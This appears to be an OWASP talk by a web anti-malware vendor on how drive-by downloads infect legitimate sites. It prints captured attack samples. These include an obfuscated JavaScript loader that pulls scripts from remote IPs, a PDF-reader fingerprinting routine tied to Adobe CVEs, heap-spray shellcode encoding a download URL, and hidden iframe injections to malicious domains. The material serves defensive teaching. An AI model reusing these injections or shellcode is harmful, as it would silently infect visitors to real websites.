Drive By Downloads
How to Avoid Getting a Cap Popped in Your App

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OWASP
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The OWASP Foundation
http://www.owasp.org

Fundamental Change in Malware Distribution

	Late 80s to late 90s	Late 90s to mid-2000s	Mid-2000s to present
Distribution methods	Floppy Disks, Worms	Email attachments, file downloads	Drive-by-downloads (at legitimate sites)
Form of malware	← Executable code in static file →		Active content on web pages

Websites suffer brand, revenue, and customer losses when infected



Notable Government-Related Web Sites Infected Which Served Drive-Bys to Citizens

Site	Most Recent Infection
National Institute of Health	September 2010
US Treasury	May 2010
EPA	March 2010
Unemployment.gov	July 2009
DC.gov	Feb 2009
Govtrip.com	Feb 2009
UsConsulate.gov	Dec 2008

Government Web Sites Infected Multiple Times Over Past Two Years: Examples

Site	Number of Times Infected	Last Infection
NIH.GOV	5	10/2010
CA.GOV	3	8/2010
AL.GOV	37	07/2009
DC.GOV	16	02/2009
WASHINGTONDC.GOV	4	02/2009

Anatomy of a Drive-by-Download

1) Inject legitimate web page with malicious code (e.g., JavaScript, IFRAME, etc) OR direct user to infected web page (e.g. fake anti-virus or phishing).

2) Invoke client-side vulnerability (e.g., IE zero-day, PDF exploit, etc) OR use social engineering

3) Deliver shellcode to take control

4) Send “downloader”

5) Deliver malware of attackers choice

Step 1: Infect a site (or 2 or 3 or thousands!)

There is no perimeter

Web 2.0/ external content

- Ads (Malvertising)
- Mash-ups
- Widgets
- External images
- User generated content (HTML, images, links, exe, documents)

Passwords compromised

- FTP credentials
- SSH credentials
- Web server credentials



Software vulnerabilities

- SQL injection
- XSS
- PHP file include
- Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl)

Infrastructure vulnerabilities

- Vulnerable hosting platform
- Network vulnerabilities

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Step 1: Example: Inject JavaScript

```
unescape('%2F/%2E.|%2E|%3Cdiv%20~s&t#%79le~=#di`%73
  ~%70~%6C%61~%79%3A!%6Eo`%6E%65%3E~\ndo%63um$%65%6E
  !%74%2Ew&rit|e(!%22%3C/$%74&%65|%78#%74%61!r%65
  |%61%3E"!%29;v&%61r%20@%69$%2C%5F%2C%61%3D%5B&"
  ~%32%318%2E@%39%33~%2E|%32$%30%32|.%361%22,%22
  |7%38|.%31%31~0.#%31&7`%35%2E#21#%22]|;_!%3D1;!%69
  f%28&d%6F%63~%75#m%65@n|t.c%6Fo~ki%65`%2E$%6D@a%74
  $%63&%68~(/%5C@%62h%67%66`%74&%3D&%31~%2F)#=%3D$%6E
  #%75~1`1)$%66#o%72`(%69=@%30~%3B$%69%3C!%32@%3B~i
  |%2B%2B%29$%64%6F&cu%6De#%6E|%74%2Ew$%72%69%74&
  e(%22@%3C~%73!%63#%72i~p!%74!%3Ei@%66`(#_|%29!%64o
  ~%63u@m`%65%6E|%74.%77@r%69%74%65(`%5C@"@%3C%73$%63
  |%72~%69$%70%74%20%69%64%3D%5F%22%2B%69!+"|_%20
  s%72@c=%2F%2F|%22+#%61@[|i&%5D!%2B%22%2F`c&p%2F%3
  E%3C%5C`%5C`/@scr@%69%70%74%3E$%5C~"!%29%3C%5C`%2
  F%73%63rip$%74%3E|"#)%3B\n`%2F`/`%3C`%2F%64%69@%76
  ~%3E').replace(/\$|\||~|`|\!|\&|@|#/g,"");
```

Step 1: Example: Inject JavaScript

```
//...<div style=display:none>
document.write("</textarea>");var i,_,a
  =["218.93.202.61","78.110.175.21"];_=1;i
  f(document.cookie.match(/\bhgft=1/)==null
  )for(i=0;i<2;i++)document.write("<script>i
  f(_)document.write(\"<script id=_"+i+"_
   src=//"+a[i]+"/cp/><\\/script>\")<\
  /script>");
//</div>
```

which produces...

```
  <script>if(_)document.write("<script id=_0_
   src=//218.93.202.61/cp/><\/script>")<
  /script>
<script>if(_)document.write("<script id=_1_
   src=//78.110.175.21/cp/><\/script>")<
  /script>
```

Step 1: Inject JavaScript

```
<script id=_0_ src=//218.93.202.61/cp/></script>
<script id=_1_ src=//78.110.175.21/cp/></script>
```

- Sources in malicious javascript from a compromised IP!
- Infects user's machine silently

Step 2: Invoke client-side vuln

CVE-2008-2992

Description: Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument, a related issue to CVE-2008-1104

CVE-2007-5659

Description: Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and earlier allow remote attackers to execute arbitrary code via a PDF file with long arguments to unspecified JavaScript methods.

CVE-2009-0927

Description: Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon method of a Collab object.

Step 2: Ex. Fingerprint PDF Reader

```
function pdf_start(){var
version=app.viewerVersion.toString
();version=version.replace(/\D/g,'');var
version_array=new Array(version.charAt
(0),version.charAt(1),version.charAt(2));if
((version_array[0]==8)&&(version_array[1]==0)||
(version_array[1]==1&&version_array[2]DA3))
{util_printf();} if((version_array[0]DA8)||
(version_array[0]==8&&version_array[1]
DA2&&version_array[2]DA2)){collab_email();} if
((version_array[0]DA9)||(version_array[0]
==9&&version_array[1]DA1)){collab_geticon();}}
pdf_start();}
```

Step 3: Deliver Shellcode

(via JavaScript Heap Spray)

```
%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD
%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C
%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A
%uEA83%u8956%u0455%u5756%u738B%u8B3C
%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD
%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB
%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B
%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E
%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F
%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u742F
%u7474%u6161%u7461%u7474%u722E%u2F75%u6F6C%u6461%u702E
%u7068%u653F%u323D
```

Step 4: Send 'Downloader'

Example: 2k8.exe

Virustotal is a **service that analyzes suspicious files** and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines. More information...

File **2k8.exe** received on **2010.02.18 01:39:05 (UTC)**
Current status: **finished**
Result: **23/41 (56.10%)**

Compact | Print results

Antivirus	Version	Last Update	Result
a-squared	4.5.0.50	2010.02.17	Trojan-Dropper.Agent!IK
AhnLab-V3	5.0.0.2	2010.02.17	Win-Trojan/Downloader.8704.ZB
AntiVir	8.2.1.170	2010.02.17	-
Antiy-AVL	2.0.3.7	2010.02.17	-
Authentium	5.2.0.5	2010.02.18	W32/Trojan2.IIFW
Avast	4.8.1351.0	2010.02.17	Win32:Trojan-gen
AVG	9.0.0.730	2010.02.18	Generic13.BNQH
BitDefender	7.2	2010.02.18	Trojan.Downloader.Obitel.C

Step 5: Join a botnet: e.g. Zeus



Zeus Botnet + Targeted Phishing

IFRAME / gate4ads.info

Infection Details

MD5: cdc7f46229a8abfcad40538bfe08f1bd

Infection Type: IFRAME

Description: A malicious IFRAME can source in content from web pages that attempt to fingerprint and exploit a browser vulnerability or client/OS vulnerability to cause a drive-by-download. Such IFRAMEs are typically invisible to users.

Code Length: 52 bytes

Code Sample:

```
<iframe frameborder=0 src='http://gate4ads.info/t/
'>
```

Botnet propagation+
Targeted Phishing:

1. http://internetbanking.gad.de/banking/
2. http://hsbc.co.uk
3. http://www.mybank.alliance-leicester.co.uk
4. http://www.citibank.de

What next?

Steal credentials (e.g., Zeus)

Sell fake anti-virus (e.g., Koobface)

Steal FTP credentials (e.g., Gumblar)

Steal corporate secrets (e.g., Aurora)

Collect fraudulent click revenue (e.g., Clickbot.A)

Example old attack

<script language=javascript><!-- Yahoo! Counter starts
eval(unescape('%2F/%2E.|%2E^@|%3Cdiv%20~s&t#%79le~=#di`%73~%70~%6C
%61~%79%3A!%6Eo`%6E%65%3E~\ndo%63um$%65%6E!%74%2Ew&rit|e(!
%22%3C/$%74&%65|%78#%74%61!r%65|%61%3E"!%29;v&%61r%20@%69$
%2C%5F%2C%61%3D%5B&"~%32%318%2E@%39%33~%2E|%32$%30%32|.
%361%22,%22|7%38|.%31%31~0.#%31&7`%35%2E#21#%22]|;_!%3D1;!%69f
%28&d%6F%63~%75#m%65@n|t.c%6Fo~ki%65`%2E$%6D@a%74$%63&
%68~(/%5C@%62h%67%66`%74&%3D&%31~%2F)#=%3D$%6E#%75~l`l)$
%66#o%72`(%69=@%30~%3B$%69%3C!%32@%3B~i|%2B%2B%29$
%64%6F&cu%6De#%6E|%74%2Ew$%72%69%74&e(%22@%3C~%73!%63#
%72i~p!%74!%3Ei@%66`(#_|%29!%64o~%63u@m`%65%6E|%74.%77@r
%69%74%65(`%5C@"@%3C%73$%63|%72~%69$%70%74%20%69%64%3D
%5F%22%2B%69!+"|_%20s%72@c=%2F%2F|%22+#%61@[|i&%5D!%2B
%22%2F`c&p%2F%3E%3C%5C`%5C`/@scr@%69%70%74%3E$%5C~"!
%29%3C%5C`%2F%73%63rip$%74%3E|"#)%3B\n`%2F`/`%3C`%2F%64%69@
%76~%3E').replace(/\$|\||~|`|\!|\&|@|#/g,""));var yahoo_counter=1;
<!-- counter end --></script>

Evolution: Multi-DOM Node Injection

```
<div id=f37z>*!@g$a+
\*t*e##4a+@d^s!.i!n$f
+o@@</div>
```

```
<script>document.write
('<iframe src=
\''+unescape
(document.getElementById
('f37z').innerHTML.replac
e(/[\+!*^#@$]/g,""))+'\'
width=0 height=0></
iframe>');
```

Evolution: Multi-DOM Node Injection

```
<div id=f37z>*!@g$a+
\*t*e##4a+@d^s!.i!n$f
+o@@</div>
```

```
<script>document.write
('<iframe src=
\''+unescape
(document.getElementById
('f37z').innerHTML.replac
e(/[\+!*^#@$]/g,""))+'\'
width=0 height=0></
iframe>');
```

```
<iframe
src=gate4
ads.info
width=0
height=0>
</iframe>
```

Malvertising

Malvertising = Malicious advertising

Method to inject malicious content into a web page via “structural vulnerability”

Malvertiser options:
1) compromise existing advertiser
2) sign up as new advertiser

A majority of malvertisements send drive-by-downloads

Malvertising: Example Drive-By URL Trace

On legitimate page:
<iframe src="http://<anonymized>/script?<anonymized>==,,http%3A%2F%2Fb.lp.com%2Fbanner.php%3Fid%3Ditk4ig%26search%3D%5Bterms%5D%26ip%3D%5Bip%5D%26ua%3D%5Bua%5D%26style%3D2%26size%3D160x600,Z%3D160x600%26s%3D908567%26_salt%3D1379943278%26B%3D10%26r%3D0,303483-a945-45ce-b5e4-3047375bde" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" >

http://<anonymized>/script?<anonymized>==,,http%3A%2F%2Fb.lp.com%2Fbanner.php%3Fid%3Ditk4ig%26search%3D%5Bterms%5D%26ip%3D%5Bip%5D%26ua%3D%5Bua%5D%26style%3D2%26size%3D160x600,Z%3D160x600%26s%3D908567%26_salt%3D1379943278%26B%3D10%26r%3D0,303483-a945-45ce-b5e4-3047375bde

www.pawntra.com/vzdmapportzhlmottfaoo/
www.ptazh.com/hpqpmld/in.php
www.ptazh.com/hpqpmld/directory/terms.pdf

Infection Library

Dasient's malware infection library catalogs web-based malware from across the Internet. Check this page for information about the latest threats.

Infections Cataloged to Date:

206,852

This Week's Top Infections

Top malware infections for the past week.

Rank	Name	Type	Discovery Date
1.	pabloescobar	IFRAME	2010-11-03
2.	forexcome	IFRAME	2010-11-03
3.	addonrock	JS	2010-09-19
4.	dsnextgen	IFRAME	2010-05-19
5.	websmeter	IFRAME	2010-11-09
6.	rent-acoder	JS	2010-11-03
7.	poetenladen	JS	2010-09-26
8.	priiklotidjjdlmf.co	IFRAME	2010-11-03
9.	visions7	IFRAME	2010-11-07
10.	insomniaboldinfoorg	JS	2010-11-03
11.	flywebber	IFRAME	2010-11-09
12.	internetcountercheck	IFRAME	2010-11-07
13.	gate4ads	IFRAME	2010-06-08
14.	nabijarka	JS	2010-11-05
15.	tokogrosironline	JS	2010-08-29
16.	joinreddragon	JS	2010-11-04
17.	michaelsync	JS	2010-10-27
18.	rolisnews	JS	2010-11-05
19.	tds-23vb8g5ff.co	IFRAME	2010-11-05
20.	zabilppc	IFRAME	2010-10-29

Infection Library Growth

Number of cataloged infections for the week



Latest Tweets

Follow us on Twitter for infection updates

- IFRAME/priiklotidjjdlmf.co -- http://bit.ly/cg5xzK about 10 hours ago
- JS/insomniaboldinfoorg -- http://bit.ly/9BmW7H 1 day ago
- IFRAME/visions7 -- http://bit.ly/cCPm2t 1 day ago

OWASP

Infection Library: Example entry

IFRAME / google-banner.info

Infection Details

Infection Library Home

MD5: fa06e95b28c95441d6c1e237c387fb42

Infection Type: IFRAME

Description: A malicious IFRAME can source in content from web pages that attempt to fingerprint and exploit a browser vulnerability or client/OS vulnerability to cause a drive-by-download. Such IFRAMEs are typically invisible to users.

Code Length: 87 bytes

Code Sample:

```
<iframe src=http://google-banner.info/ts/out.php?s
_id=1 width=0 height=0 frameborder=0>
```

Defense-In-Depth: Lifecycle of Malware Protection



Defense-In-Depth: Lifecycle of Malware Protection



Malware Risk Assessment





Email info@dasient.com with your domain name and the keyword "OWASP" in the subject line for a complementary malware risk assessment.

Detection, Containment, Removal

- Goal: Extract “root cause” of malcode

- Detection
  - Behavioral Content Extraction (active scripts)
  - Lineage computation
  - Features / Signals Analysis

Drive-by Case Studies

- Common infection vectors
  - Java Virtual Machine
  - Adobe PDF Reader
  - MDAC ActiveX Control

- What do drive-bys do?
  - Knockout personal firewall
  - Store icon on desktop
  - Register to auto-start on restart

Where to learn more

- Dasient Home Page / Blog / Twitter:
  www.dasient.com
  blog.dasient.com
  twitter.com/dasient
- Dasient Web Malware Feed:
  twitter.com/dasient_new_mal
- Neil's Home Page:
  www.neildaswani.com
- Stanford Security Certification Program:
  http://bit.ly/90zR1y

Where to learn more

Foundations of Security:
What Every Programmer To Know
by Neil Daswani, Christoph Kern, and
Anita Kesavan (ISBN 1590597842)

Book web site: learnsecurity.com/ntk

Free slides at: code.google.com/edu/security

More About Dasient

- Developed the world's first **Web Anti-Malware Solution** to protect businesses from web-based malware attacks.
- Founded by engineers and product managers from Google (security, web server, App Engine teams)
- Solid financing: same investors that backed or led VeriSign, 3Com, Citrix, XenSource, Twitter
- Featured in major news outlets:

- We're hiring! Please send your resume to:

careers@dasient.com